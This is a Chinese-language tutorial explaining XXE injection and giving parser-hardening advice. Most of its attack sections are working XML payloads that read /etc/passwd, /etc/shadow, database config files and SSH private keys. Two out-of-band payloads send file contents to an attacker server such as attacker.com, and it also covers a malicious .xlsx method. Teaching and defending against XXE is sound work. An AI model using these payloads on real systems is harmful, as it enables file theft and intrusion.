XXE漏洞原理及利用
文章目录
- 一、XML外部实体注入
- 1. XXE漏洞原理
- 2. 漏洞危害
- 3. 漏洞探测
- (1)攻击代码构造
- 1)直接通过内部引用DTD+引用外部实体
- 2)通过引用外部DTD文档,再引入外部实体
- 3)无回显XXE 内部引用(声明)DTD+引用外部参数实体
- 4. 漏洞案例
- (1)有回显案例
- (2)无回显案例
- 5. 漏洞利用
- (1)读取敏感文件
- 6. EXCEL文档XXE
- 二、防御方法
一、XML外部实体注入
1. XXE漏洞原理
XXE漏洞(XML外部实体注入)源于XML解析器对外部实体的不当处理。当XML文档中定义了外部实体(通过SYSTEM关键字引用本地或远程资源),而解析器未限制外部实体加载时,攻击者可构造恶意XML,诱导解析器加载外部实体,从而读取服务器本地文件、访问内网资源或执行远程请求,导致敏感信息泄露或内网探测等危害。
2. 漏洞危害
- 敏感信息泄露:攻击者可通过外部实体引用本地文件(如
file:///etc/passwd
、file:///var/www/config.php
),窃取系统用户信息、配置文件、数据库凭证等核心数据。 - 内网资源探测:利用外部实体访问内网服务(如
http://192.168.0.1:8080
、redis://10.0.0.5:6379
),探测内网存活主机、开放端口及服务类型,为横向渗透铺路。 - 远程代码执行(特定场景):若XML解析器支持扩展协议(如PHP的
expect://
),攻击者可构造实体执行系统命令(如expect://id
),直接获取服务器控制权。 - 拒绝服务(DoS):通过引用超大文件(如
file:///dev/zero
)或递归实体(如<!ENTITY a "&b;"><!ENTITY b "&a;">
),消耗服务器资源,导致服务崩溃。
3. 漏洞探测
(1)攻击代码构造
1)直接通过内部引用DTD+引用外部实体
直接在XML文档内部定义DTD,并声明外部实体,适用于简单场景的测试。
示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd"> <!-- 内部DTD定义外部实体,引用本地文件 -->
]>
<root>&xxe;</root> <!-- 引用实体,若有回显则返回文件内容 -->
2)通过引用外部DTD文档,再引入外部实体
将DTD定义在外部文件中(如攻击者服务器上的evil.dtd
),XML文档引用该外部DTD,间接加载恶意实体,更隐蔽且可复用。
步骤:
- 攻击者服务器存放
evil.dtd
:<!ENTITY xxe SYSTEM "file:///etc/shadow"> <!-- 外部DTD中定义实体 -->
- 目标XML文档引用外部DTD:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test SYSTEM "http://攻击者服务器/evil.dtd"> <!-- 引用外部DTD --> <root>&xxe;</root> <!-- 引用外部DTD中的实体 -->
3)无回显XXE 内部引用(声明)DTD+引用外部参数实体
当目标不直接返回实体内容(无回显)时,通过“参数实体”将数据外带到攻击者服务器,间接验证漏洞。
示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "file:///etc/passwd"> <!-- 定义参数实体(%开头),读取文件 --><!ENTITY % xxe "<!ENTITY % send SYSTEM 'http://攻击者服务器/log?data=%file;'>"> <!-- 定义发送数据的实体 -->%xxe; <!-- 执行参数实体,触发数据发送 -->%send; <!-- 发送文件内容到攻击者服务器 -->
]>
<root>test</root>
攻击者通过查看服务器日志(如http://攻击者服务器/log
的访问记录),即可获取/etc/passwd
的内容。
4. 漏洞案例
(1)有回显案例
某电商平台的订单查询接口接收XML格式请求,解析器未限制外部实体。攻击者构造如下请求:
<?xml version="1.0"?>
<!DOCTYPE order [<!ENTITY xxe SYSTEM "file:///var/www/db_config.php">
]>
<query><orderId>&xxe;</orderId>
</query>
接口返回了db_config.php
的内容,包含数据库账号密码,导致核心数据泄露。
(2)无回显案例
某企业内部系统的用户同步功能接收XML数据,但不返回实体内容。攻击者利用无回显XXE构造请求,将/etc/hosts
内容发送到自己的服务器:
<?xml version="1.0"?>
<!DOCTYPE user [<!ENTITY % content SYSTEM "file:///etc/hosts"><!ENTITY % exfil "<!ENTITY % out SYSTEM 'http://attacker.com/log?c=%content;'>">%exfil;%out;
]>
<user>test</user>
通过查看attacker.com
的访问日志,攻击者获取了内网IP段信息,为后续内网渗透提供了目标。
5. 漏洞利用
(1)读取敏感文件
利用file://
协议读取不同系统的敏感文件:
- Linux:
file:///etc/passwd
(用户信息)、file:///var/log/nginx/access.log
(Web日志)、file:///root/.ssh/id_rsa
(SSH私钥)。 - Windows:
file:///c:/windows/system32/drivers/etc/hosts
(主机映射)、file:///c:/users/admin/appdata/roaming/navicat/servers.xml
(数据库连接信息)。
示例(读取Linux用户文件):
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>&xxe;</test>
6. EXCEL文档XXE
Excel(.xlsx格式)本质是XML文件的压缩包(可将.xlsx
改为.zip
解压查看)。若系统解析Excel文件时未限制XML外部实体,可能存在XXE漏洞。
利用方式:
- 解压正常的
.xlsx
文件,修改其中的xl/workbook.xml
,加入恶意外部实体定义。 - 重新压缩为
.xlsx
,诱导目标用户上传或打开该文件。 - 当系统解析Excel时,触发外部实体加载,泄露敏感信息(如服务器本地文件)。
二、防御方法
- 禁用外部实体:在XML解析器中禁用外部实体加载,如:
- Java:
DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
- PHP:
libxml_disable_entity_loader(true);
- Java:
- 限制DTD使用:禁止XML文档包含DOCTYPE声明(多数业务场景无需DTD)。
- 过滤用户输入:严格校验XML中的特殊字符(如
<!DOCTYPE
、SYSTEM
、ENTITY
),阻断恶意实体定义。 - 限制协议:仅允许解析器使用
http://
、https://
等必要协议,禁用file://
、ftp://
、expect://
等危险协议。 - 使用安全格式:优先采用JSON等无外部实体风险的数据格式,替代XML传输数据。
- 更新组件:及时升级XML解析库(如libxml2),修复已知的解析器漏洞。